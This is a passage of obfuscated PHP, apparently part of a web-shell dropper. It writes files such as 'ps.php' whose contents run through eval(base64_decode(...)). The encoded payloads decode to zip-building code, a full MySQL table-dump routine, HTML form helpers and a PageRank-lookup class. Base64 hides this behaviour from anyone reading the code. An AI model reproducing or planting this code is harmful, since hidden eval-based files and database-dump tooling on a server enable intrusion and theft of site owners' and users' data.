AgICAgICAgICAgICR0aW1lYXJyYXlbJ21kYXknXSAgICA9IDE7IA0KICAgICAgICAgICAgJHRpbWVhcnJheVsnaG91cnMnXSAgID0gMDsgDQogICAgICAgICAgICAkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOyANCiAgICAgICAgICAgICR0aW1lYXJyYXlbJ3NlY29uZHMnXSA9IDA7IA0KICAgICAgICB9IC8vIGVuZCBpZiANCiAgICAgICAgcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwgDQogICAgICAgICAgICAgICAgKCR0aW1lYXJyYXlbJ2hvdXJzJ10gPDwgMTEpIHwgKCR0aW1lYXJyYXlbJ21pbnV0ZXMnXSA8PCA1KSB8ICgkdGltZWFycmF5WydzZWNvbmRzJ10gPj4gMSk7IA0KICAgIH0gDQoNCiAgICBmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7IA0KICAgICAgICAkbmFtZSA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJG5hbWUpOyANCg0KICAgICAgICAkZHRpbWUgPSBkZWNoZXgoJHRoaXMtPnVuaXgyRG9zVGltZSgkdGltZSkpOyANCiAgICAgICAgJGhleGR0aW1lICAgID0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XSANCiAgICAgICAgICAgICAgICAgICAgLiAnXHgnIC4gJGR0aW1lWzRdIC4gJGR0aW1lWzVdIA0KICAgICAgICAgICAgICAgICAgICAuICdceCcgLiAkZHRpbWVbMl0gLiAkZHRpbWVbM10gDQogICAgICAgICAgICAgICAgICAgIC4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsgDQogICAgICAgIGV2YWwoJyRoZXhkdGltZSA9ICInIC4gJGhleGR0aW1lIC4gJyI7Jyk7IA0KICAgICAgICAkZnIgICAgPSAiXHg1MFx4NGJceDAzXHgwNCI7IA0KICAgICAgICAkZnIgICAgLj0gIlx4MTRceDAwIjsgDQogICAgICAgICRmciAgICAuPSAiXHgwMFx4MDAiOyANCiAgICAgICAgJGZyICAgIC49ICJceDA4XHgwMCI7IA0KICAgICAgICAkZnIgICAgLj0gJGhleGR0aW1lOyANCg0KICAgICAgICAkdW5jX2xlbiA9IHN0cmxlbigkZGF0YSk7IA0KICAgICAgICAkY3JjID0gY3JjMzIoJGRhdGEpOyANCiAgICAgICAgJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7IA0KICAgICAgICAkY19sZW4gPSBzdHJsZW4oJHpkYXRhKTsgDQogICAgICAgICR6ZGF0YSA9IHN1YnN0cihzdWJzdHIoJHpkYXRhLCAwLCBzdHJsZW4oJHpkYXRhKSAtIDQpLCAyKTsgDQogICAgICAgICRmciAuPSBwYWNrKCdWJywgJGNyYyk7IA0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICRjX2xlbik7IA0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsgDQogICAgICAgICRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7IA0KICAgICAgICAkZnIgLj0gcGFjaygndicsIDApOyANCiAgICAgICAgJGZyIC49ICRuYW1lOyANCiAgICAgICAgJGZyIC49ICR6ZGF0YTsgDQogICAgICAgICRmciAuPSBwYWNrKCdWJywgJGNyYyk7IA0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICRjX2xlbik7IA0KICAgICAgICAkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsgDQoNCiAgICAgICAgJHRoaXMgLT4gZGF0YXNlY1tdID0gJGZyOyANCiAgICAgICAgJG5ld19vZmZzZXQgPSBzdHJsZW4oaW1wbG9kZSgnJywgJHRoaXMtPmRhdGFzZWMpKTsgDQoNCiAgICAgICAgJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOyANCiAgICAgICAgJGNkcmVjIC49ICJceDAwXHgwMCI7IA0KICAgICAgICAkY2RyZWMgLj0gIlx4MTRceDAwIjsgDQogICAgICAgICRjZHJlYyAuPSAiXHgwMFx4MDAiOyANCiAgICAgICAgJGNkcmVjIC49ICJceDA4XHgwMCI7IA0KICAgICAgICAkY2RyZWMgLj0gJGhleGR0aW1lOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJGNfbGVuKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHVuY19sZW4pOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCd2JywgMCApOyANCiAgICAgICAgJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7IA0KICAgICAgICAkY2RyZWMgLj0gcGFjaygndicsIDAgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgMzIgKTsgDQogICAgICAgICRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOyANCiAgICAgICAgJHRoaXMgLT4gb2xkX29mZnNldCA9ICRuZXdfb2Zmc2V0OyANCiAgICAgICAgJGNkcmVjIC49ICRuYW1lOyANCg0KICAgICAgICAkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOyANCiAgICB9IA0KDQogICAgZnVuY3Rpb24gZmlsZSgpIHsgDQogICAgICAgICRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7IA0KICAgICAgICAkY3RybGRpciA9IGltcGxvZGUoJycsICR0aGlzIC0+IGN0cmxfZGlyKTsgDQogICAgICAgIHJldHVybiAkZGF0YSAuICRjdHJsZGlyIC4gJHRoaXMgLT4gZW9mX2N0cmxfZGlyIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gcGFjaygndicsIHNpemVvZigkdGhpcyAtPiBjdHJsX2RpcikpIC4gICAgcGFjaygnVicsIHN0cmxlbigkY3RybGRpcikpIC4gcGFjaygnVicsIHN0cmxlbigkZGF0YSkpIC4gIlx4MDBceDAwIjsgDQogICAgfSANCn0gDQoNCi8vICAgICAgICA/ICANCmZ1bmN0aW9uIHNxbGR1bXB0YWJsZSgkdGFibGUsICRmcD0wKSB7IA0KICAgICR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIjsgDQogICAgJHRhYmxlZHVtcCAuPSAiQ1JFQVRFIFRBQkxFICR0YWJsZSAoXG4iOyANCg0KICAgICRmaXJzdGZpZWxkPTE7IA0KDQogICAgJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7IA0KICAgIHdoaWxlICgkZmllbGQgPSBteXNxbF9mZXRjaF9hcnJheSgkZmllbGRzKSkgeyANCiAgICAgICAgaWYgKCEkZmlyc3RmaWVsZCkgeyANCiAgICAgICAgICAgICR0YWJsZWR1bXAgLj0gIixcbiI7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICRmaXJzdGZpZWxkPTA7IA0KICAgICAgICB9IA0KICAgICAgICAkdGFibGVkdW1wIC49ICIgICAkZmllbGRbRmllbGRdICRmaWVsZFtUeXBlXSI7IA0KICAgICAgICBpZiAoIWVtcHR5KCRmaWVsZFsiRGVmYXVsdCJdKSkgeyANCiAgICAgICAgICAgICR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsgDQogICAgICAgIH0gDQogICAgICAgIGlmICgkZmllbGRbJ051bGwnXSAhPSAiWUVTIikgeyANCiAgICAgICAgICAgICR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7IA0KICAgICAgICB9IA0KICAgICAgICBpZiAoJGZpZWxkWydFeHRyYSddICE9ICIiKSB7IA0KICAgICAgICAgICAgJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGZyKCRmaWVsZHMpOyANCg0KICAgICRrZXlzID0gcSgiU0hPVyBLRVlTIEZST00gJHRhYmxlIik7IA0KICAgIHdoaWxlICgka2V5ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGtleXMpKSB7IA0KICAgICAgICAka25hbWU9JGtleVsnS2V5X25hbWUnXTsgDQogICAgICAgIGlmICgka25hbWUgIT0gIlBSSU1BUlkiICYmICRrZXlbJ05vbl91bmlxdWUnXSA9PSAwKSB7IA0KICAgICAgICAgICAgJGtuYW1lPSJVTklRVUV8JGtuYW1lIjsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCFpc19hcnJheSgkaW5kZXhbJGtuYW1lXSkpIHsgDQogICAgICAgICAgICAkaW5kZXhbJGtuYW1lXSA9IGFycmF5KCk7IA0KICAgICAgICB9IA0KICAgICAgICAkaW5kZXhbJGtuYW1lXVtdID0gJGtleVsnQ29sdW1uX25hbWUnXTsgDQogICAgfSANCiAgICBmcigka2V5cyk7IA0KDQogICAgd2hpbGUobGlzdCgka25hbWUsICRjb2x1bW5zKSA9IEBlYWNoKCRpbmRleCkpIHsgDQogICAgICAgICR0YWJsZWR1bXAgLj0gIixcbiI7IA0KICAgICAgICAkY29sbmFtZXM9aW1wbG9kZSgkY29sdW1ucywiLCIpOyANCg0KICAgICAgICBpZiAoJGtuYW1lID09ICJQUklNQVJZIikgeyANCiAgICAgICAgICAgICR0YWJsZWR1bXAgLj0gIiAgIFBSSU1BUlkgS0VZICgkY29sbmFtZXMpIjsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgaWYgKHN1YnN0cigka25hbWUsMCw2KSA9PSAiVU5JUVVFIikgeyANCiAgICAgICAgICAgICAgICAka25hbWU9c3Vic3RyKCRrbmFtZSw3KTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgJHRhYmxlZHVtcCAuPSAiICAgS0VZICRrbmFtZSAoJGNvbG5hbWVzKSI7IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICAkdGFibGVkdW1wIC49ICJcbik7XG5cbiI7IA0KICAgIGlmICgkZnApIHsgDQogICAgICAgIGZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICBlY2hvICR0YWJsZWR1bXA7IA0KICAgIH0gDQoNCiAgICAkcm93cyA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlIik7IA0KICAgICRudW1maWVsZHMgPSBteXNxbF9udW1fZmllbGRzKCRyb3dzKTsgDQogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsgDQogICAgICAgICR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOyANCg0KICAgICAgICAkZmllbGRjb3VudGVyPS0xOyANCiAgICAgICAgJGZpcnN0ZmllbGQ9MTsgDQogICAgICAgIHdoaWxlICgrKyRmaWVsZGNvdW50ZXI8JG51bWZpZWxkcykgeyANCiAgICAgICAgICAgIGlmICghJGZpcnN0ZmllbGQpIHsgDQogICAgICAgICAgICAgICAgJHRhYmxlZHVtcC49IiwgIjsgDQogICAgICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgICAgICAkZmlyc3RmaWVsZD0wOyANCiAgICAgICAgICAgIH0gDQoNCiAgICAgICAgICAgIGlmICghaXNzZXQoJHJvd1skZmllbGRjb3VudGVyXSkpIHsgDQogICAgICAgICAgICAgICAgJHRhYmxlZHVtcCAuPSAiTlVMTCI7IA0KICAgICAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAgICAgJHRhYmxlZHVtcCAuPSAiJyIubXlzcWxfZXNjYXBlX3N0cmluZygkcm93WyRmaWVsZGNvdW50ZXJdKS4iJyI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCg0KICAgICAgICAkdGFibGVkdW1wIC49ICIpO1xuIjsgDQoNCiAgICAgICAgaWYgKCRmcCkgeyANCiAgICAgICAgICAgIGZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgIGVjaG8gJHRhYmxlZHVtcDsgDQogICAgICAgIH0gDQogICAgfSANCiAgICBmcigkcm93cyk7IA0KICAgIGlmICgkZnApIHsgDQogICAgICAgIGZ3cml0ZSgkZnAsIlxuIik7IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICBlY2hvICJcbiI7IA0KICAgIH0gDQp9IA0KDQpmdW5jdGlvbiB1ZSgkc3RyKXsgDQogICAgcmV0dXJuIHVybGVuY29kZSgkc3RyKTsgDQp9IA0KDQpmdW5jdGlvbiBwKCRzdHIpeyANCiAgICBlY2hvICRzdHIuIlxuIjsgDQp9IA0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7IA0KICAgIHAoJzx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iNCIgY2VsbHNwYWNpbmc9IjAiPicpOyANCn0gDQpmdW5jdGlvbiB0YmZvb3QoKXsgDQogICAgcCgnPC90YWJsZT4nKTsgDQp9IA0KDQpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9JycpeyANCiAgICBwKCI8aW5wdXQgaWQ9XCIkbmFtZVwiIHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiJG5hbWVcIiB2YWx1ZT1cIiR2YWx1ZVwiIC8+Iik7IA0KfSANCg0KZnVuY3Rpb24gbWFrZWlucHV0KCRhcmcgPSBhcnJheSgpKXsgDQogICAgJGFyZ1snc2l6ZSddID0gJGFyZ1snc2l6ZSddID4gMCA/ICJzaXplPVwiJGFyZ1tzaXplXVwiIiA6ICJzaXplPVwiMTAwXCIiOyANCiAgICAkYXJnWydleHRyYSddID0gJGFyZ1snZXh0cmEnXSA/ICRhcmdbJ2V4dHJhJ10gOiAnJzsgDQogICAgISRhcmdbJ3R5cGUnXSAmJiAkYXJnWyd0eXBlJ10gPSAndGV4dCc7IA0KICAgICRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOyANCiAgICAkYXJnWydjbGFzcyddID0gJGFyZ1snY2xhc3MnXSA/ICRhcmdbJ2NsYXNzJ10gOiAnaW5wdXQnOyANCiAgICBpZiAoJGFyZ1snbmV3bGluZSddKSB7IA0KICAgICAgICBwKCI8cD4kYXJnW3RpdGxlXTxpbnB1dCBjbGFzcz1cIiRhcmdbY2xhc3NdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBpZD1cIiRhcmdbbmFtZV1cIiB2YWx1ZT1cIiRhcmdbdmFsdWVdXCIgdHlwZT1cIiRhcmdbdHlwZV1cIiAkYXJnW3NpemVdICRhcmdbZXh0cmFdIC8+PC9wPiIpOyANCiAgICB9IGVsc2UgeyANCiAgICAgICAgcCgiJGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPiIpOyANCiAgICB9IA0KfSANCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7IA0KICAgIGlmICgkYXJnWydvbmNoYW5nZSddKSB7IA0KICAgICAgICAkb25jaGFuZ2UgPSAnb25jaGFuZ2U9IicuJGFyZ1snb25jaGFuZ2UnXS4nIic7IA0KICAgIH0gDQogICAgJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddIDogJyc7IA0KICAgIGlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzxwPicpOyANCiAgICBwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsgDQogICAgICAgIGlmIChpc19hcnJheSgkYXJnWydvcHRpb24nXSkpIHsgDQogICAgICAgICAgICBmb3JlYWNoICgkYXJnWydvcHRpb24nXSBhcyAka2V5PT4kdmFsdWUpIHsgDQogICAgICAgICAgICAgICAgaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsgDQogICAgICAgICAgICAgICAgICAgIHAoIjxvcHRpb24gdmFsdWU9XCIka2V5XCIgc2VsZWN0ZWQ+JHZhbHVlPC9vcHRpb24+Iik7IA0KICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICBwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICBwKCI8L3NlbGVjdD4iKTsgDQogICAgaWYgKCRhcmdbJ25ld2xpbmUnXSkgcCgnPC9wPicpOyANCn0gDQpmdW5jdGlvbiBmb3JtaGVhZCgkYXJnID0gYXJyYXkoKSkgeyANCiAgICAhJGFyZ1snbWV0aG9kJ10gJiYgJGFyZ1snbWV0aG9kJ10gPSAncG9zdCc7IA0KICAgICEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOyANCiAgICAkYXJnWyd0YXJnZXQnXSA9ICRhcmdbJ3RhcmdldCddID8gInRhcmdldD1cIiRhcmdbdGFyZ2V0XVwiIiA6ICcnOyANCiAgICAhJGFyZ1snbmFtZSddICYmICRhcmdbJ25hbWUnXSA9ICdmb3JtMSc7IA0KICAgIHAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOyANCiAgICBpZiAoJGFyZ1sndGl0bGUnXSkgeyANCiAgICAgICAgcCgnPGgyPicuJGFyZ1sndGl0bGUnXS4nICZyYXF1bzs8L2gyPicpOyANCiAgICB9IA0KfSANCiAgICAgDQpmdW5jdGlvbiBtYWtldGV4dCgkYXJnID0gYXJyYXkoKSl7IA0KICAgICEkYXJnWydjb2xzJ10gJiYgJGFyZ1snY29scyddID0gMTAwOyANCiAgICAhJGFyZ1sncm93cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1OyANCiAgICAkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10uJzxiciAvPicgOiAnJzsgDQogICAgcCgiPHA+JGFyZ1t0aXRsZV08dGV4dGFyZWEgY2xhc3M9XCJhcmVhXCIgaWQ9XCIkYXJnW25hbWVdXCIgbmFtZT1cIiRhcmdbbmFtZV1cIiBjb2xzPVwiJGFyZ1tjb2xzXVwiIHJvd3M9XCIkYXJnW3Jvd3NdXCIgJGFyZ1tleHRyYV0+JGFyZ1t2YWx1ZV08L3RleHRhcmVhPjwvcD4iKTsgDQp9IA0KDQpmdW5jdGlvbiBmb3JtZm9vdGVyKCRuYW1lID0gJycpeyANCiAgICAhJG5hbWUgJiYgJG5hbWUgPSAnc3VibWl0JzsgDQogICAgcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOyANCiAgICBwKCc8L2Zvcm0+Jyk7IA0KfSANCg0KZnVuY3Rpb24gZm9ybWZvb3QoKXsgDQogICAgcCgnPC9mb3JtPicpOyANCn0gDQoNCi8vICAgID8gICAgDQpmdW5jdGlvbiBwcigkYSkgeyANCiAgICBlY2hvICc8cHJlPic7IA0KICAgIHByaW50X3IoJGEpOyANCiAgICBlY2hvICc8L3ByZT4nOyANCn0gDQoNCj8+")); ?>'); 
 
$fp5 = fopen("ps.php","w+"); 
fwrite($fp5, $data);  
 
$data = ('<?php eval("?>".base64_decode("PD9waHANCmNsYXNzIHByDQp7DQoJcHJvdGVjdGVkICR1cmwgPSAnJzsNCglwcm90ZWN0ZWQgJG1ldGhvZCA9ICcnOw0KCXByb3RlY3RlZCAkd2lkdGggPSAnJzsNCglwcm90ZWN0ZWQgJGltYWdlX2xvY2F0aW9uID0gJyc7DQoJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCR1cmwsJG1ldGhvZCwkd2lkdGgsJGltYWdlX2xvY2F0aW9uKQ0KCXsNCgkJJHRoaXMtPnVybCA9ICR1cmw7DQoJCSR0aGlzLT5tZXRob2QgPSAkbWV0aG9kOw0KCQkkdGhpcy0+d2lkdGggPSAkd2lkdGg7DQoJCSR0aGlzLT5pbWFnZV9sb2NhdGlvbiA9ICRpbWFnZV9sb2NhdGlvbjsNCgl9DQoJDQoJcHVibGljIGZ1bmN0aW9uIHBhZ2VyYW5rKCkgDQoJew0KCQkNCgkJLy9DaGVjayB1cmwgaGFzIGh0dHA6Ly8NCgkJLy8gSWYgbm90IGFkZCBodHRwOi8vIGluIHVybA0KCQlpZiAoIXByZWdfbWF0Y2goJy9eKGh0dHA6XC9cLyk/KFteXC9dKykvaScsICR0aGlzLT51cmwpKSB7ICR0aGlzLT51cmw9J2h0dHA6Ly8nLiR0aGlzLT51cmw7fQ0KCQkNCgkJDQoJCS8vRnVuY3Rpb24gY2FsY3VsYXRlcyBQYWdlIFJhbmsNCgkJJHBhZ2VfcmFuayA9ICR0aGlzLT5nZXRQYWdlUmFuaygpOw0KCQkNCgkJJHBhZ2VyYW5rID0gIlBhZ2VSYW5rIDogJHBhZ2VfcmFuay8xMCI7DQoNCgkJLy9JbWFnZSBNZXRob2QNCgkJaWYgKCR0aGlzLT5tZXRob2QgPT0gJ2ltYWdlJykgew0KCQkJaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1jYWNoZSwgbXVzdC1yZXZhbGlkYXRlIik7DQoJCQloZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7DQoJCQkkcHIgPSBpbWFnZWNyZWF0ZWZyb21wbmcoJHRoaXMtPmltYWdlX2xvY2F0aW9uLiIvcHIvcHJfJHBhZ2VfcmFuay5wbmciKTsNCgkJCWltYWdlcG5nKCRwcik7DQoJCX0NCgkJDQoJCS8vQ1NTIE1ldGhvZA0KCQllbHNlIGlmKCR0aGlzLT5tZXRob2QgPT0gImNzcyIpIHsJCQ0KCQkJCSRwcnBlcmNlbnQgPSAxMDAgKiAkcGFnZV9yYW5rIC8gMTA7DQoJCQkJJGh0bWw9JzxhIGhyZWY9ImphdmFzY3JpcHQ6IHZvaWQoMCkiIHRpdGxlPSInLiRwYWdlcmFuay4nIj48ZGl2IHN0eWxlPSJwb3NpdGlvbjogcmVsYXRpdmU7IHdpZHRoOiAnLiR0aGlzLT53aWR0aC4ncHg7IHBhZGRpbmc6IDA7IGJhY2tncm91bmQ6ICNEOUQ5RDk7Ij48c3Ryb25nIHN0eWxlPSJ3aWR0aDogJy4kcHJwZXJjZW50LiclOyBkaXNwbGF5OiBibG9jazsgcG9zaXRpb246IHJlbGF0aXZlOyBiYWNrZ3JvdW5kOiAjNUVBQTVFOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGNvbG9yOiAjMzMzOyBoZWlnaHQ6IDEwcHg7IGxpbmUtaGVpZ2h0OiAxMHB4OyI+PHNwYW4+PC9zcGFuPjwvc3Ryb25nPjwvZGl2PjwvYT4nOw0KCQkJCXJldHVybiAkaHRtbDsNCgkJfQ0KCQllbHNlIHsNCgkJCSRwcl9wb3NpdGl2ZSA9ICR0aGlzLT53aWR0aCAqICRwYWdlX3JhbmsgLyAxMDsNCgkJCSRwcl9uZWdhdGl2ZSA9ICR0aGlzLT53aWR0aCAtICRwcl9wb3NpdGl2ZTsNCgkJCSRodG1sPSc8YSBocmVmPSJqYXZhc2NyaXB0OiB2b2lkKDApIiB0aXRsZT0iJy4kcGFnZXJhbmsuJyI+PGltZyBzcmM9IicuJHRoaXMtPmltYWdlX2xvY2F0aW9uLicvZ3JlZW4uanBnIiB3aWR0aD0nLiRwcl9wb3NpdGl2ZS4nIGhlaWdodD0iMTUiIGJvcmRlcj0iMCIgYWx0PSInLiRwYWdlcmFuay4nIj48aW1nIHNyYz0iJy4kdGhpcy0+aW1hZ2VfbG9jYXRpb24uJy9ncmF5LmpwZyIgd2lkdGg9Jy4kcHJfbmVnYXRpdmUuJyBoZWlnaHQ9IjE1IiBib3JkZXI9IjAiIGFsdD0iJy4kcGFnZXJhbmsuJyI+PC9hPic7DQoJCQlyZXR1cm4gJGh0bWw7DQoJCX0NCgl9DQoJDQoJcHVibGljIGZ1bmN0aW9uIGdldFBhZ2VSYW5rKCkgDQoJew0KCQkkY2ggPSAkdGhpcy0+Z2V0Q2hlY2tTdW0oKTsNCgkJJGdvb2dsZV90b29sYmFyID0gJ3Rvb2xiYXJxdWVyaWVzLmdvb2dsZS5jb20nOw0KCQkkcmVmZXJyZXIgPSAnTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBlbi1VUzsgcnY6MS44LjAuNikgR2Vja28vMjAwNjA3MjggRmlyZWZveC8xLjUnOw0KCQkkZnAgPSBmc29ja29wZW4oJGdvb2dsZV90b29sYmFyLCA4MCwgJGVycm5vLCAkZXJyc3RyLCAzMCk7DQoJCWlmICgkZnApIHsNCgkJICAgJG91dCA9ICJHRVQgL3NlYXJjaD9jbGllbnQ9bmF2Y2xpZW50LWF1dG8mY2g9JGNoJmZlYXR1cmVzPVJhbmsmcT1pbmZvOiR0aGlzLT51cmwgSFRUUC8xLjFcclxuIjsNCgkJICAgJG91dCAuPSAiVXNlci1BZ2VudDogJHJlZmVycmVyXHJcbiI7DQoJCSAgICRvdXQgLj0gIkhvc3Q6ICRnb29nbGVfdG9vbGJhclxyXG4iOw0KCQkgICAkb3V0IC49ICJDb25uZWN0aW9uOiBDbG9zZVxyXG5cclxuIjsNCgkJDQoJCSAgIGZ3cml0ZSgkZnAsICRvdXQpOw0KCQkgICANCgkJICAgd2hpbGUgKCFmZW9mKCRmcCkpIHsNCgkJCQkkZGF0YSA9IGZnZXRzKCRmcCwgMTI4KTsNCgkJCQkkcG9zID0gc3RycG9zKCRkYXRhLCAiUmFua18iKTsNCgkJCQlpZigkcG9zID09PSBmYWxzZSl7fSBlbHNlew0KCQkJCQkkcHI9c3Vic3RyKCRkYXRhLCAkcG9zICsgOSk7DQoJCQkJCSRwcj10cmltKCRwcik7DQoJCQkJCSRwcj1zdHJfcmVwbGFjZSgiXG4iLCcnLCRwcik7DQoJCQkJCXJldHVybiAkcHI7DQoJCQkJfQ0KCQkgICB9DQoJCSAgIGZjbG9zZSgkZnApOw0KCQl9DQoJfQ0KCQ0KCXB1YmxpYyBmdW5jdGlvbiBnZXRDaGVja1N1bSgpDQoJew0KCQkvL3JldHVybiB0aGUgcGFnZXJhbmsgY2hlY2tzdW0gaGFzaA0KCQkkaGFzaCA9ICR0aGlzLT5oYXNoVVJMKCk7DQoJCXJldHVybiAkdGhpcy0+Y2hlY2tIYXNoKCRoYXNoKTsNCgl9CQ0KCQkNCglwdWJsaWMgZnVuY3Rpb24gU3RyVG9OdW0oJFN0ciwgJENoZWNrLCAkTWFnaWMpIHsNCgkJJEludDMyVW5pdCA9IDQyOTQ5NjcyOTY7ICAvLyAyXjMyDQoNCgkJJGxlbmd0aCA9IHN0cmxlbigkU3RyKTsNCgkJZm9yICgkaSA9IDA7ICRpIDwgJGxlbmd0aDsgJGkrKykgew0KCQkJJENoZWNrICo9ICRNYWdpYzsgCQ0KCQkJDQoJCQlpZiAoJENoZWNrID49ICRJbnQzMlVuaXQpIHsNCgkJCQkkQ2hlY2sgPSAoJENoZWNrIC0gJEludDMyVW5pdCAqIChpbnQpICgkQ2hlY2sgLyAkSW50MzJVbml0KSk7DQoJCQkJLy9pZiB0aGUgY2hlY2sgbGVzcyB0aGFuIC0yXjMxDQoJCQkJJENoZWNrID0gKCRDaGVjayA8IC0yMTQ3NDgzNjQ4KSA/ICgkQ2hlY2sgKyAkSW50MzJVbml0KSA6ICRDaGVjazsNCgkJCX0NCgkJCSRDaGVjayArPSBvcmQoJFN0cnskaX0pOyANCgkJfQ0KCQlyZXR1cm4gJENoZWNrOw0KCX0NCg0KCS8vVGhpcyBmdW5jdGlvbiBnZW5lcmF0ZXMgaGFzaCBmb3IgdGhlIHVybA0KCWZ1bmN0aW9uIGhhc2hVUkwoKSB7DQoJCSRDaGVjazEgPSAkdGhpcy0+U3RyVG9OdW0oJHRoaXMtPnVybCwgMHgxNTA1LCAweDIxKTsNCgkJJENoZWNrMiA9ICR0aGlzLT5TdHJUb051bSgkdGhpcy0+dXJsLCAwLCAweDEwMDNGKTsNCg0KCQkkQ2hlY2sxID4+PSAyOyAJDQoJCSRDaGVjazEgPSAoKCRDaGVjazEgPj4gNCkgJiAweDNGRkZGQzAgKSB8ICgkQ2hlY2sxICYgMHgzRik7DQoJCSRDaGVj